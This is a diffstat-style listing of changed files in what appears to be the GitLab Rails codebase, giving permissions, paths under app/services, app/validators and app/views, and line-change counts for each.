-rw-r--r--app/services/ci/pipeline_artifacts/destroy_expired_artifacts_service.rb52
-rw-r--r--app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb8
-rw-r--r--app/services/ci/pipeline_trigger_service.rb23
-rw-r--r--app/services/ci/play_bridge_service.rb4
-rw-r--r--app/services/ci/play_build_service.rb8
-rw-r--r--app/services/ci/process_build_service.rb25
-rw-r--r--app/services/ci/process_pipeline_service.rb2
-rw-r--r--app/services/ci/register_job_service.rb30
-rw-r--r--app/services/ci/retry_build_service.rb18
-rw-r--r--app/services/ci/retry_pipeline_service.rb2
-rw-r--r--app/services/ci/stop_environments_service.rb2
-rw-r--r--app/services/ci/test_failure_history_service.rb48
-rw-r--r--app/services/clusters/create_service.rb3
-rw-r--r--app/services/clusters/destroy_service.rb3
-rw-r--r--app/services/clusters/integrations/create_service.rb43
-rw-r--r--app/services/clusters/update_service.rb3
-rw-r--r--app/services/concerns/integrations/project_test_data.rb2
-rw-r--r--app/services/concerns/suggestible.rb2
-rw-r--r--app/services/deployments/link_merge_requests_service.rb28
-rw-r--r--app/services/draft_notes/base_service.rb4
-rw-r--r--app/services/git/wiki_push_service.rb4
-rw-r--r--app/services/git/wiki_push_service/change.rb4
-rw-r--r--app/services/groups/base_service.rb16
-rw-r--r--app/services/groups/count_service.rb49
-rw-r--r--app/services/groups/create_service.rb9
-rw-r--r--app/services/groups/group_links/create_service.rb2
-rw-r--r--app/services/groups/merge_requests_count_service.rb22
-rw-r--r--app/services/groups/nested_create_service.rb3
-rw-r--r--app/services/groups/open_issues_count_service.rb41
-rw-r--r--app/services/groups/update_service.rb12
-rw-r--r--app/services/issuable/bulk_update_service.rb17
-rw-r--r--app/services/issuable/destroy_service.rb34
-rw-r--r--app/services/issuable/process_assignees.rb9
-rw-r--r--app/services/issuable_base_service.rb74
-rw-r--r--app/services/issuable_links/create_service.rb8
-rw-r--r--app/services/issuable_links/destroy_service.rb8
-rw-r--r--app/services/issuable_links/list_service.rb3
-rw-r--r--app/services/issue_rebalancing_service.rb2
-rw-r--r--app/services/issues/after_create_service.rb13
-rw-r--r--app/services/issues/base_service.rb2
-rw-r--r--app/services/issues/create_service.rb8
-rw-r--r--app/services/issues/update_service.rb18
-rw-r--r--app/services/jira_connect_subscriptions/base_service.rb4
-rw-r--r--app/services/keys/base_service.rb3
-rw-r--r--app/services/keys/create_service.rb3
-rw-r--r--app/services/keys/expiry_notification_service.rb42
-rw-r--r--app/services/mattermost/create_team_service.rb3
-rw-r--r--app/services/members/create_service.rb111
-rw-r--r--app/services/members/invite_service.rb92
-rw-r--r--app/services/merge_requests/add_context_service.rb4
-rw-r--r--app/services/merge_requests/after_create_service.rb12
-rw-r--r--app/services/merge_requests/base_service.rb16
-rw-r--r--app/services/merge_requests/build_service.rb38
-rw-r--r--app/services/merge_requests/create_service.rb12
-rw-r--r--app/services/merge_requests/handle_assignees_change_service.rb43
-rw-r--r--app/services/merge_requests/merge_to_ref_service.rb8
-rw-r--r--app/services/merge_requests/migrate_external_diffs_service.rb2
-rw-r--r--app/services/merge_requests/push_options_handler_service.rb7
-rw-r--r--app/services/merge_requests/refresh_service.rb9
-rw-r--r--app/services/merge_requests/resolve_todos_service.rb28
-rw-r--r--app/services/merge_requests/retarget_chain_service.rb2
-rw-r--r--app/services/merge_requests/update_assignees_service.rb64
-rw-r--r--app/services/merge_requests/update_service.rb77
-rw-r--r--app/services/metrics/dashboard/annotations/create_service.rb3
-rw-r--r--app/services/metrics/dashboard/annotations/delete_service.rb3
-rw-r--r--app/services/metrics/dashboard/grafana_metric_embed_service.rb6
-rw-r--r--app/services/metrics/dashboard/panel_preview_service.rb4
-rw-r--r--app/services/metrics/users_starred_dashboards/create_service.rb4
-rw-r--r--app/services/metrics/users_starred_dashboards/delete_service.rb4
-rw-r--r--app/services/milestones/base_service.rb4
-rw-r--r--app/services/milestones/find_or_create_service.rb4
-rw-r--r--app/services/milestones/merge_requests_count_service.rb17
-rw-r--r--app/services/milestones/transfer_service.rb9
-rw-r--r--app/services/namespace_settings/update_service.rb13
-rw-r--r--app/services/namespaces/in_product_marketing_emails_service.rb47
-rw-r--r--app/services/notes/create_service.rb25
-rw-r--r--app/services/notification_recipients/builder/base.rb44
-rw-r--r--app/services/notification_recipients/builder/request_review.rb4
-rw-r--r--app/services/notification_service.rb16
-rw-r--r--app/services/packages/composer/composer_json_service.rb3
-rw-r--r--app/services/packages/composer/version_parser_service.rb3
-rw-r--r--app/services/packages/debian/create_distribution_service.rb3
-rw-r--r--app/services/packages/debian/extract_changes_metadata_service.rb112
-rw-r--r--app/services/packages/debian/extract_metadata_service.rb21
-rw-r--r--app/services/packages/debian/parse_debian822_service.rb2
-rw-r--r--app/services/packages/debian/process_changes_service.rb102
-rw-r--r--app/services/packages/debian/update_distribution_service.rb3
-rw-r--r--app/services/packages/go/create_package_service.rb70
-rw-r--r--app/services/packages/go/sync_packages_service.rb24
-rw-r--r--app/services/packages/maven/find_or_create_package_service.rb3
-rw-r--r--app/services/packages/maven/metadata/sync_service.rb15
-rw-r--r--app/services/packages/nuget/create_dependency_service.rb4
-rw-r--r--app/services/packages/rubygems/create_dependencies_service.rb44
-rw-r--r--app/services/packages/rubygems/create_gemspec_service.rb42
-rw-r--r--app/services/packages/rubygems/metadata_extraction_service.rb56
-rw-r--r--app/services/packages/rubygems/process_gem_service.rb124
-rw-r--r--app/services/pages/delete_service.rb2
-rw-r--r--app/services/pages/migrate_from_legacy_storage_service.rb43
-rw-r--r--app/services/pages/migrate_legacy_storage_to_deployment_service.rb17
-rw-r--r--app/services/pages/zip_directory_service.rb4
-rw-r--r--app/services/pod_logs/kubernetes_service.rb2
-rw-r--r--app/services/post_receive_service.rb2
-rw-r--r--app/services/projects/alerting/notify_service.rb2
-rw-r--r--app/services/projects/branches_by_mode_service.rb3
-rw-r--r--app/services/projects/create_from_template_service.rb3
-rw-r--r--app/services/projects/create_service.rb17
-rw-r--r--app/services/projects/destroy_service.rb4
-rw-r--r--app/services/projects/download_service.rb3
-rw-r--r--app/services/projects/gitlab_projects_import_service.rb4
-rw-r--r--app/services/projects/update_pages_configuration_service.rb2
-rw-r--r--app/services/projects/update_pages_service.rb15
-rw-r--r--app/services/projects/update_remote_mirror_service.rb14
-rw-r--r--app/services/prometheus/create_default_alerts_service.rb2
-rw-r--r--app/services/prometheus/proxy_service.rb4
-rw-r--r--app/services/prometheus/proxy_variable_substitution_service.rb3
-rw-r--r--app/services/releases/base_service.rb4
-rw-r--r--app/services/repositories/changelog_service.rb10
-rw-r--r--app/services/resource_access_tokens/create_service.rb2
-rw-r--r--app/services/resource_access_tokens/revoke_service.rb12
-rw-r--r--app/services/resource_events/base_synthetic_notes_builder_service.rb4
-rw-r--r--app/services/resource_events/change_labels_service.rb3
-rw-r--r--app/services/resource_events/change_state_service.rb3
-rw-r--r--app/services/search/global_service.rb3
-rw-r--r--app/services/search/project_service.rb4
-rw-r--r--app/services/snippets/create_service.rb2
-rw-r--r--app/services/snippets/update_service.rb2
-rw-r--r--app/services/spam/spam_action_service.rb32
-rw-r--r--app/services/spam/spam_params.rb8
-rw-r--r--app/services/submit_usage_ping_service.rb8
-rw-r--r--app/services/system_hooks_service.rb24
-rw-r--r--app/services/system_note_service.rb2
-rw-r--r--app/services/system_notes/alert_management_service.rb2
-rw-r--r--app/services/system_notes/commit_service.rb2
-rw-r--r--app/services/task_list_toggle_service.rb8
-rw-r--r--app/services/todo_service.rb25
-rw-r--r--app/services/todos/destroy/base_service.rb2
-rw-r--r--app/services/todos/destroy/destroyed_issuable_service.rb46
-rw-r--r--app/services/todos/destroy/entity_leave_service.rb15
-rw-r--r--app/services/todos/destroy/private_features_service.rb2
-rw-r--r--app/services/two_factor/base_service.rb3
-rw-r--r--app/services/upload_service.rb10
-rw-r--r--app/services/user_agent_detail_service.rb3
-rw-r--r--app/services/user_preferences/update_service.rb20
-rw-r--r--app/services/users/activity_service.rb2
-rw-r--r--app/services/users/batch_status_cleaner_service.rb2
-rw-r--r--app/services/users/refresh_authorized_projects_service.rb71
-rw-r--r--app/services/users/respond_to_terms_service.rb3
-rw-r--r--app/services/users/set_status_service.rb3
-rw-r--r--app/services/users/update_canonical_email_service.rb2
-rw-r--r--app/services/users/update_todo_count_cache_service.rb34
-rw-r--r--app/uploaders/object_storage.rb1
-rw-r--r--app/validators/json_schema_validator.rb24
-rw-r--r--app/validators/json_schemas/application_setting_kroki_formats.json1
-rw-r--r--app/validators/json_schemas/build_metadata_secrets.json1
-rw-r--r--app/validators/json_schemas/build_report_result_data.json1
-rw-r--r--app/validators/json_schemas/build_report_result_data_tests.json1
-rw-r--r--app/validators/json_schemas/codeclimate.json1
-rw-r--r--app/validators/json_schemas/daily_build_group_report_result_data.json1
-rw-r--r--app/validators/json_schemas/debian_fields.json1
-rw-r--r--app/validators/json_schemas/git_trailers.json1
-rw-r--r--app/validators/json_schemas/http_integration_payload_attribute_mapping.json1
-rw-r--r--app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json33
-rw-r--r--app/validators/json_schemas/security_scan_info.json28
-rw-r--r--app/validators/json_schemas/vulnerability_finding_details.json294
-rw-r--r--app/views/admin/abuse_reports/_abuse_report.html.haml8
-rw-r--r--app/views/admin/abuse_reports/index.html.haml11
-rw-r--r--app/views/admin/application_settings/_account_and_limit.html.haml2
-rw-r--r--app/views/admin/application_settings/_diff_limits.html.haml2
-rw-r--r--app/views/admin/application_settings/_eks.html.haml2
-rw-r--r--app/views/admin/application_settings/_external_authorization_service_form.html.haml2
-rw-r--r--app/views/admin/application_settings/_gitpod.html.haml2
-rw-r--r--app/views/admin/application_settings/_ip_limits.html.haml22
-rw-r--r--app/views/admin/application_settings/_kroki.html.haml2
-rw-r--r--app/views/admin/application_settings/_pages.html.haml2
-rw-r--r--app/views/admin/application_settings/_performance.html.haml4
-rw-r--r--app/views/admin/application_settings/_performance_bar.html.haml6
-rw-r--r--app/views/admin/application_settings/_plantuml.html.haml2
-rw-r--r--app/views/admin/application_settings/_realtime.html.haml11
-rw-r--r--app/views/admin/application_settings/_registry.html.haml4
-rw-r--r--app/views/admin/application_settings/_repository_check.html.haml33
-rw-r--r--app/views/admin/application_settings/_signin.html.haml11
-rw-r--r--app/views/admin/application_settings/_signup.html.haml98
-rw-r--r--app/views/admin/application_settings/_snowplow.html.haml2
-rw-r--r--app/views/admin/application_settings/_sourcegraph.html.haml2
-rw-r--r--app/views/admin/application_settings/_terminal.html.haml2
-rw-r--r--app/views/admin/application_settings/_terms.html.haml2
-rw-r--r--app/views/admin/application_settings/_third_party_offers.html.haml2
-rw-r--r--app/views/admin/application_settings/_usage.html.haml2
-rw-r--r--app/views/admin/application_settings/_visibility_and_access.html.haml2
-rw-r--r--app/views/admin/application_settings/ci/_header.html.haml4
-rw-r--r--app/views/admin/application_settings/ci_cd.html.haml19
-rw-r--r--app/views/admin/application_settings/general.html.haml2
-rw-r--r--app/views/admin/application_settings/integrations.html.haml8
-rw-r--r--app/views/admin/broadcast_messages/_form.html.haml4
-rw-r--r--app/views/admin/broadcast_messages/index.html.haml21
-rw-r--r--app/views/admin/dashboard/index.html.haml28
-rw-r--r--app/views/admin/deploy_keys/new.html.haml2
-rw-r--r--app/views/admin/dev_ops_report/_callout.html.haml2
-rw-r--r--app/views/admin/groups/_form.html.haml2
-rw-r--r--app/views/admin/groups/show.html.haml5
-rw-r--r--app/views/admin/hook_logs/_index.html.haml18
-rw-r--r--app/views/admin/labels/_label.html.haml4
-rw-r--r--app/views/admin/labels/index.html.haml2
-rw-r--r--app/views/admin/projects/_projects.html.haml4
-rw-r--r--app/views/admin/projects/index.html.haml10
-rw-r--r--app/views/admin/runners/_runner.html.haml43
-rw-r--r--app/views/admin/runners/index.html.haml13
-rw-r--r--app/views/admin/runners/show.html.haml39
-rw-r--r--app/views/admin/serverless/domains/index.html.haml2
-rw-r--r--app/views/admin/services/_form.html.haml4
-rw-r--r--app/views/admin/services/_service_templates_deprecated_alert.html.haml8
-rw-r--r--app/views/admin/services/index.html.haml28
-rw-r--r--app/views/admin/spam_logs/_spam_log.html.haml20
-rw-r--r--app/views/admin/users/_admin_notes.html.haml2
-rw-r--r--app/views/admin/users/_head.html.haml14
-rw-r--r--app/views/admin/users/_user.html.haml12
-rw-r--r--app/views/authentication/_authenticate.html.haml4
-rw-r--r--app/views/authentication/_register.html.haml4
-rw-r--r--app/views/award_emoji/_awards_block.html.haml43
-rw-r--r--app/views/ci/group_variables/_index.html.haml2
-rw-r--r--app/views/ci/group_variables/_variable_header.html.haml2
-rw-r--r--app/views/ci/runner/_how_to_setup_runner.html.haml2
-rw-r--r--app/views/ci/status/_dropdown_graph_badge.html.haml20
-rw-r--r--app/views/ci/variables/_content.html.haml2
-rw-r--r--app/views/ci/variables/_index.html.haml6
-rw-r--r--app/views/ci/variables/_url_query_variable_row.html.haml2
-rw-r--r--app/views/ci/variables/_variable_row.html.haml8
-rw-r--r--app/views/clusters/clusters/_gcp_signup_offer_banner.html.haml2
-rw-r--r--app/views/clusters/clusters/_gitlab_integration_form.html.haml4
-rw-r--r--app/views/clusters/clusters/_health.html.haml2
-rw-r--r--app/views/clusters/clusters/_integrations.html.haml19
-rw-r--r--app/views/clusters/clusters/_integrations_tab.html.haml6
-rw-r--r--app/views/clusters/clusters/aws/_new.html.haml4
-rw-r--r--app/views/clusters/clusters/show.html.haml1
-rw-r--r--app/views/dashboard/_projects_head.html.haml4
-rw-r--r--app/views/dashboard/merge_requests.html.haml4
-rw-r--r--app/views/dashboard/projects/index.html.haml2
-rw-r--r--app/views/dashboard/todos/index.html.haml4
-rw-r--r--app/views/devise/mailer/_confirmation_instructions_account.html.haml12
-rw-r--r--app/views/devise/mailer/_confirmation_instructions_account.text.erb10
-rw-r--r--app/views/devise/mailer/_confirmation_instructions_secondary.text.erb6
-rw-r--r--app/views/devise/mailer/password_change.html.haml9
-rw-r--r--app/views/devise/mailer/password_change.text.erb8
-rw-r--r--app/views/devise/mailer/unlock_instructions.html.haml8
-rw-r--r--app/views/devise/passwords/edit.html.haml16
-rw-r--r--app/views/devise/passwords/new.html.haml4
-rw-r--r--app/views/devise/registrations/edit.html.erb12
-rw-r--r--app/views/devise/sessions/_new_crowd.html.haml10
-rw-r--r--app/views/devise/sessions/_new_ldap.html.haml6
-rw-r--r--app/views/devise/sessions/new.html.haml2
-rw-r--r--app/views/devise/sessions/two_factor.html.haml10
-rw-r--r--app/views/devise/shared/_email_opted_in.html.haml7
-rw-r--r--app/views/devise/shared/_omniauth_box.html.haml4
-rw-r--r--app/views/devise/shared/_sign_in_link.html.haml6
-rw-r--r--app/views/devise/shared/_tabs_ldap.html.haml4
-rw-r--r--app/views/devise/unlocks/new.html.haml6
-rw-r--r--app/views/doorkeeper/applications/_delete_form.html.haml10
-rw-r--r--app/views/doorkeeper/applications/_form.html.haml26
-rw-r--r--app/views/doorkeeper/applications/edit.html.haml3
-rw-r--r--app/views/doorkeeper/applications/index.html.haml89
-rw-r--r--app/views/doorkeeper/applications/show.html.haml40
-rw-r--r--app/views/doorkeeper/authorizations/new.html.haml4
-rw-r--r--app/views/errors/_footer.html.haml3
-rw-r--r--app/views/events/event/_note.html.haml2
-rw-r--r--app/views/events/event/_push.html.haml4
-rw-r--r--app/views/groups/_activities.html.haml2
-rw-r--r--app/views/groups/_create_chat_team.html.haml4
-rw-r--r--app/views/groups/_group_admin_settings.html.haml12
-rw-r--r--app/views/groups/_home_panel.html.haml2
-rw-r--r--app/views/groups/_new_group_fields.html.haml5
-rw-r--r--app/views/groups/activity.html.haml2
-rw-r--r--app/views/groups/edit.html.haml5
-rw-r--r--app/views/groups/group_members/index.html.haml8
-rw-r--r--app/views/groups/issues.html.haml45
-rw-r--r--app/views/groups/labels/edit.html.haml2
-rw-r--r--app/views/groups/labels/index.html.haml2
-rw-r--r--app/views/groups/labels/new.html.haml2
-rw-r--r--app/views/groups/merge_requests.html.haml4
-rw-r--r--app/views/groups/milestones/_form.html.haml14
-rw-r--r--app/views/groups/milestones/edit.html.haml2
-rw-r--r--app/views/groups/runners/_group_runners.html.haml2
-rw-r--r--app/views/groups/runners/_index.html.haml19
-rw-r--r--app/views/groups/runners/_runner.html.haml45
-rw-r--r--app/views/groups/runners/edit.html.haml11
-rw-r--r--app/views/groups/settings/_advanced.html.haml8
-rw-r--r--app/views/groups/settings/_general.html.haml4
-rw-r--r--app/views/groups/settings/_permanent_deletion.html.haml3
-rw-r--r--app/views/groups/settings/_permissions.html.haml31
-rw-r--r--app/views/groups/settings/_project_access_token_creation.html.haml10
-rw-r--r--app/views/groups/settings/_remove_button.html.haml7
-rw-r--r--app/views/groups/settings/applications/edit.html.haml5
-rw-r--r--app/views/groups/settings/applications/index.html.haml8
-rw-r--r--app/views/groups/settings/applications/show.html.haml9
-rw-r--r--app/views/groups/settings/ci_cd/show.html.haml2
-rw-r--r--app/views/groups/settings/integrations/index.html.haml8
-rw-r--r--app/views/groups/settings/packages_and_registries/index.html.haml2
-rw-r--r--app/views/groups/settings/repository/show.html.haml2
-rw-r--r--app/views/help/index.html.haml27
-rw-r--r--app/views/help/instance_configuration.html.haml6
-rw-r--r--app/views/help/instance_configuration/_gitlab_ci.html.haml14
-rw-r--r--app/views/help/instance_configuration/_gitlab_pages.html.haml20
-rw-r--r--app/views/import/fogbugz/new_user_map.html.haml2
-rw-r--r--app/views/import/shared/_new_project_form.html.haml2
-rw-r--r--app/views/invites/show.html.haml2
-rw-r--r--app/views/jira_connect/subscriptions/index.html.haml25
-rw-r--r--app/views/jira_connect/users/show.html.haml4
-rw-r--r--app/views/kaminari/gitlab/_page.html.haml2
-rw-r--r--app/views/layouts/_flash.html.haml2
-rw-r--r--app/views/layouts/_head.html.haml2
-rw-r--r--app/views/layouts/_page.html.haml1
-rw-r--r--app/views/layouts/_search.html.haml2
-rw-r--r--app/views/layouts/errors.html.haml6
-rw-r--r--app/views/layouts/group_settings.html.haml1
-rw-r--r--app/views/layouts/header/_current_user_dropdown.html.haml2
-rw-r--r--app/views/layouts/header/_default.html.haml16
-rw-r--r--app/views/layouts/header/_new_dropdown.haml45
-rw-r--r--app/views/layouts/header/_new_dropdown.html.haml44
-rw-r--r--app/views/layouts/header/_new_repo_experiment.html.haml7
-rw-r--r--app/views/layouts/header/_read_only_banner.html.haml2
-rw-r--r--app/views/layouts/header/_service_templates_deprecation_callout.html.haml21
-rw-r--r--app/views/layouts/header/_whats_new_dropdown_item.html.haml11
-rw-r--r--app/views/layouts/nav/_breadcrumbs.html.haml4
-rw-r--r--app/views/layouts/nav/_combined_menu.html.haml3
-rw-r--r--app/views/layouts/nav/_dashboard.html.haml6
-rw-r--r--app/views/layouts/nav/projects_dropdown/_show.html.haml23
-rw-r--r--app/views/layouts/nav/sidebar/_group.html.haml21
-rw-r--r--app/views/layouts/nav/sidebar/_profile.html.haml2
-rw-r--r--app/views/layouts/nav/sidebar/_project.html.haml472
-rw-r--r--app/views/layouts/nav/sidebar/_project_menus.html.haml424
-rw-r--r--app/views/layouts/nav/sidebar/_project_packages_link.html.haml8
-rw-r--r--app/views/layouts/project_settings.html.haml2
-rw-r--r--app/views/notify/_successful_pipeline.text.erb2
-rw-r--r--app/views/notify/closed_merge_request_email.html.haml2
-rw-r--r--app/views/notify/closed_merge_request_email.text.haml4
-rw-r--r--app/views/notify/merge_request_status_email.html.haml2
-rw-r--r--app/views/notify/merge_request_status_email.text.haml4
-rw-r--r--app/views/notify/merge_request_unmergeable_email.html.haml2
-rw-r--r--app/views/notify/merge_request_unmergeable_email.text.haml4
-rw-r--r--app/views/notify/merge_when_pipeline_succeeds_email.text.haml4
-rw-r--r--app/views/notify/merged_merge_request_email.html.haml2
-rw-r--r--app/views/notify/merged_merge_request_email.text.haml4
-rw-r--r--app/views/notify/new_mention_in_merge_request_email.html.haml2
-rw-r--r--app/views/notify/new_mention_in_merge_request_email.text.erb2
-rw-r--r--app/views/notify/new_review_email.html.haml2
-rw-r--r--app/views/notify/pipeline_failed_email.text.erb2
-rw-r--r--app/views/notify/push_to_merge_request_email.text.haml2
-rw-r--r--app/views/notify/reassigned_merge_request_email.text.erb2
-rw-r--r--app/views/notify/resolved_all_discussions_email.html.haml2
-rw-r--r--app/views/notify/resolved_all_discussions_email.text.erb2
-rw-r--r--app/views/notify/ssh_key_expired_email.html.haml13
-rw-r--r--app/views/notify/ssh_key_expired_email.text.erb9
-rw-r--r--app/views/notify/ssh_key_expiring_soon.text.erb9
-rw-r--r--app/views/notify/ssh_key_expiring_soon_email.html.haml13
-rw-r--r--app/views/notify/unknown_sign_in_email.html.haml8
-rw-r--r--app/views/profiles/accounts/show.html.haml4
-rw-r--r--app/views/profiles/chat_names/_chat_name.html.haml2
-rw-r--r--app/views/profiles/chat_names/new.html.haml2
-rw-r--r--app/views/profiles/emails/index.html.haml2
-rw-r--r--app/views/profiles/gpg_keys/_form.html.haml4
-rw-r--r--app/views/profiles/gpg_keys/_key.html.haml4
-rw-r--r--app/views/profiles/gpg_keys/index.html.haml4
-rw-r--r--app/views/profiles/keys/_form.html.haml7
-rw-r--r--app/views/profiles/keys/_key.html.haml16
-rw-r--r--app/views/profiles/keys/index.html.haml2
-rw-r--r--app/views/profiles/passwords/edit.html.haml2
-rw-r--r--app/views/profiles/passwords/new.html.haml2
-rw-r--r--app/views/profiles/show.html.haml6
-rw-r--r--app/views/profiles/two_factor_auths/show.html.haml2
-rw-r--r--app/views/projects/_commit_button.html.haml2
-rw-r--r--app/views/projects/_customize_workflow.html.haml2
-rw-r--r--app/views/projects/_files.html.haml1
-rw-r--r--app/views/projects/_fork_suggestion.html.haml2
-rw-r--r--app/views/projects/_home_panel.html.haml9
-rw-r--r--app/views/projects/_invite_members.html.haml2
-rw-r--r--app/views/projects/_merge_request_settings.html.haml3
-rw-r--r--app/views/projects/_merge_request_target_project_settings.html.haml23
-rw-r--r--app/views/projects/_new_project_fields.html.haml4
-rw-r--r--app/views/projects/_readme.html.haml2
-rw-r--r--app/views/projects/_service_desk_settings.html.haml2
-rw-r--r--app/views/projects/_wiki.html.haml2
-rw-r--r--app/views/projects/blob/_blob.html.haml11
-rw-r--r--app/views/projects/blob/_header.html.haml2
-rw-r--r--app/views/projects/blob/_new_dir.html.haml4
-rw-r--r--app/views/projects/blob/_template_selectors.html.haml2
-rw-r--r--app/views/projects/blob/_upload.html.haml4
-rw-r--r--app/views/projects/blob/viewers/_empty.html.haml2
-rw-r--r--app/views/projects/blob/viewers/_loading_auxiliary.html.haml2
-rw-r--r--app/views/projects/blob/viewers/_stl.html.haml4
-rw-r--r--app/views/projects/branches/_branch.html.haml8
-rw-r--r--app/views/projects/branches/_delete_protected_modal.html.haml2
-rw-r--r--app/views/projects/branches/index.html.haml20
-rw-r--r--app/views/projects/branches/new.html.haml4
-rw-r--r--app/views/projects/buttons/_remove_tag.html.haml2
-rw-r--r--app/views/projects/ci/pipeline_editor/show.html.haml13
-rw-r--r--app/views/projects/cleanup/_show.html.haml4
-rw-r--r--app/views/projects/commit/_commit_box.html.haml42
-rw-r--r--app/views/projects/commits/_commits.html.haml4
-rw-r--r--app/views/projects/default_branch/_show.html.haml2
-rw-r--r--app/views/projects/deploy_keys/edit.html.haml4
-rw-r--r--app/views/projects/diffs/_diffs.html.haml4
-rw-r--r--app/views/projects/diffs/_file.html.haml6
-rw-r--r--app/views/projects/diffs/_file_header.html.haml3
-rw-r--r--app/views/projects/diffs/viewers/_collapsed.html.haml2
-rw-r--r--app/views/projects/edit.html.haml6
-rw-r--r--app/views/projects/empty.html.haml1
-rw-r--r--app/views/projects/environments/_form.html.haml2
-rw-r--r--app/views/projects/environments/empty_metrics.html.haml2
-rw-r--r--app/views/projects/environments/index.html.haml3
-rw-r--r--app/views/projects/environments/show.html.haml2
-rw-r--r--app/views/projects/forks/_fork_button.html.haml2
-rw-r--r--app/views/projects/forks/index.html.haml4
-rw-r--r--app/views/projects/graphs/show.html.haml2
-rw-r--r--app/views/projects/hooks/edit.html.haml2
-rw-r--r--app/views/projects/hooks/index.html.haml2
-rw-r--r--app/views/projects/imports/new.html.haml2
-rw-r--r--app/views/projects/issuable/_show.html.haml3
-rw-r--r--app/views/projects/issues/_new_branch.html.haml15
-rw-r--r--app/views/projects/issues/index.html.haml31
-rw-r--r--app/views/projects/issues/show.html.haml3
-rw-r--r--app/views/projects/jobs/_table.html.haml4
-rw-r--r--app/views/projects/jobs/index.html.haml19
-rw-r--r--app/views/projects/labels/index.html.haml2
-rw-r--r--app/views/projects/logs/empty_logs.html.haml2
-rw-r--r--app/views/projects/merge_requests/_awards_block.html.haml2
-rw-r--r--app/views/projects/merge_requests/_mr_title.html.haml4
-rw-r--r--app/views/projects/merge_requests/conflicts/show.html.haml2
-rw-r--r--app/views/projects/merge_requests/creations/_new_compare.html.haml4
-rw-r--r--app/views/projects/merge_requests/creations/_new_submit.html.haml4
-rw-r--r--app/views/projects/merge_requests/creations/new.html.haml4
-rw-r--r--app/views/projects/merge_requests/edit.html.haml4
-rw-r--r--app/views/projects/merge_requests/index.html.haml2
-rw-r--r--app/views/projects/merge_requests/invalid.html.haml4
-rw-r--r--app/views/projects/merge_requests/show.html.haml40
-rw-r--r--app/views/projects/network/show.html.haml2
-rw-r--r--app/views/projects/packages/infrastructure_registry/index.html.haml10
-rw-r--r--app/views/projects/pages/_pages_settings.html.haml8
-rw-r--r--app/views/projects/pages/_ssl_limitations_warning.html.haml6
-rw-r--r--app/views/projects/pages/_use.html.haml5
-rw-r--r--app/views/projects/pages/show.html.haml4
-rw-r--r--app/views/projects/pages_domains/_dns.html.haml2
-rw-r--r--app/views/projects/pages_domains/_lets_encrypt_callout.html.haml2
-rw-r--r--app/views/projects/pipeline_schedules/_form.html.haml10
-rw-r--r--app/views/projects/pipeline_schedules/index.html.haml2
-rw-r--r--app/views/projects/pipelines/_stage.html.haml5
-rw-r--r--app/views/projects/pipelines/_with_tabs.html.haml4
-rw-r--r--app/views/projects/pipelines/charts.html.haml2
-rw-r--r--app/views/projects/pipelines/index.html.haml6
-rw-r--r--app/views/projects/pipelines/new.html.haml8
-rw-r--r--app/views/projects/pipelines/show.html.haml3
-rw-r--r--app/views/projects/project_members/index.html.haml8
-rw-r--r--app/views/projects/protected_branches/shared/_branches_list.html.haml2
-rw-r--r--app/views/projects/protected_branches/shared/_create_protected_branch.html.haml4
-rw-r--r--app/views/projects/protected_tags/shared/_create_protected_tag.html.haml2
-rw-r--r--app/views/projects/protected_tags/shared/_protected_tag.html.haml2
-rw-r--r--app/views/projects/runners/_group_runners.html.haml2
-rw-r--r--app/views/projects/runners/_runner.html.haml66
-rw-r--r--app/views/projects/runners/_shared_runners.html.haml2
-rw-r--r--app/views/projects/runners/edit.html.haml11
-rw-r--r--app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml35
-rw-r--r--app/views/projects/services/mattermost_slash_commands/_help.html.haml10
-rw-r--r--app/views/projects/services/prometheus/_configuration_banner.html.haml2
-rw-r--r--app/views/projects/services/prometheus/_custom_metrics.html.haml2
-rw-r--r--app/views/projects/services/slack/_help.haml16
-rw-r--r--app/views/projects/services/slack_slash_commands/_help.html.haml4
-rw-r--r--app/views/projects/settings/_archive.html.haml2
-rw-r--r--app/views/projects/settings/_general.html.haml4
-rw-r--r--app/views/projects/settings/access_tokens/index.html.haml29
-rw-r--r--app/views/projects/settings/ci_cd/_autodevops_form.html.haml2
-rw-r--r--app/views/projects/settings/ci_cd/_form.html.haml2
-rw-r--r--app/views/projects/settings/ci_cd/show.html.haml2
-rw-r--r--app/views/projects/settings/integrations/show.html.haml2
-rw-r--r--app/views/projects/settings/operations/_alert_management.html.haml10
-rw-r--r--app/views/projects/settings/operations/_configuration_banner.html.haml2
-rw-r--r--app/views/projects/settings/operations/_error_tracking.html.haml4
-rw-r--r--app/views/projects/settings/operations/_prometheus.html.haml4
-rw-r--r--app/views/projects/settings/operations/_tracing.html.haml15
-rw-r--r--app/views/projects/settings/operations/show.html.haml2
-rw-r--r--app/views/projects/settings/repository/show.html.haml2
-rw-r--r--app/views/projects/show.html.haml2
-rw-r--r--app/views/projects/snippets/index.html.haml2
-rw-r--r--app/views/projects/stage/_stage.html.haml6
-rw-r--r--app/views/projects/starrers/_starrer.html.haml2
-rw-r--r--app/views/projects/tags/index.html.haml31
-rw-r--r--app/views/projects/tags/new.html.haml4
-rw-r--r--app/views/projects/tags/releases/edit.html.haml2
-rw-r--r--app/views/projects/tracings/_tracing_button.html.haml2
-rw-r--r--app/views/projects/tracings/show.html.haml4
-rw-r--r--app/views/projects/tree/show.html.haml2
-rw-r--r--app/views/projects/triggers/_form.html.haml2
-rw-r--r--app/views/projects/triggers/_index.html.haml32
-rw-r--r--app/views/projects/triggers/_trigger.html.haml4
-rw-r--r--app/views/registrations/welcome/show.html.haml11
-rw-r--r--app/views/search/results/_empty.html.haml2
-rw-r--r--app/views/search/results/_note.html.haml2
-rw-r--r--app/views/shared/_clone_panel.html.haml10
-rw-r--r--app/views/shared/_confirm_fork_modal.html.haml4
-rw-r--r--app/views/shared/_confirm_modal.html.haml2
-rw-r--r--app/views/shared/_delete_label_modal.html.haml20
-rw-r--r--app/views/shared/_file_highlight.html.haml4
-rw-r--r--app/views/shared/_file_picker_button.html.haml4
-rw-r--r--app/views/shared/_flash_user_callout.html.haml2
-rw-r--r--app/views/shared/_issuable_meta_data.html.haml3
-rw-r--r--app/views/shared/_issues.html.haml3
-rw-r--r--app/views/shared/_label.html.haml24
-rw-r--r--app/views/shared/_milestone_expired.html.haml2
-rw-r--r--app/views/shared/_mini_pipeline_graph.html.haml17
-rw-r--r--app/views/shared/_mobile_clone_panel.html.haml4
